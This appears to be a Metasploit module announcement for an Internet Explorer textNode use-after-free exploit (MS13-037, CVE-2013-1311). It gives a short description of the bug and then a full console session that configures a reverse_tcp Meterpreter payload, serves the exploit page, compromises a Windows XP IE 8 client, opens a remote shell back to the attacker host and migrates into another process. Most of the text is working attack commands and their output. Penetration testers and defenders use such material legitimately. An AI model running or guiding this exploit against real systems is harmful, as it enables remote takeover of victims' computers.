Adding MS13-037 textNode Use-after-free

This module exploits Microsoft Internet Explorer textNode Use-after-free (CVE-2013-1311 ).  Tested on Windows XP SP3 EN

The memory corruption happens when the application of a style sheet performs style computations on the DOM. A DOM textNode pointer becomes corrupted after the style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.

msf > use exploit/windows/browser/ms13_037_ie_textnode_uaf 
msf exploit(ms13_037_ie_textnode_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms13_037_ie_textnode_uaf) > set LHOST 192.168.74.132
LHOST => 192.168.74.132
msf exploit(ms13_037_ie_textnode_uaf) > set URIPATH /
URIPATH => /
msf exploit(ms13_037_ie_textnode_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.74.132:4444 

[*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://192.168.74.132:8080/
[*] Server started.
msf exploit(ms13_037_ie_textnode_uaf) > [*] 192.168.74.130   ms13_037_ie_textnode_uaf - Requesting: /
[*] 192.168.74.130   ms13_037_ie_textnode_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.74.130   ms13_037_ie_textnode_uaf - Using msvcrt ROP
[*] 192.168.74.130   ms13_037_ie_textnode_uaf - Sending HTML...
[*] Sending stage (751104 bytes) to 192.168.74.130
[*] Meterpreter session 1 opened (192.168.74.132:4444 -> 192.168.74.130:1379) at 2013-05-23 09:10:59 +1200
[*] Session ID 1 (192.168.74.132:4444 -> 192.168.74.130:1379) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (1088)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1220
[+] Successfully migrated to process 

msf exploit(ms13_037_ie_textnode_uaf) >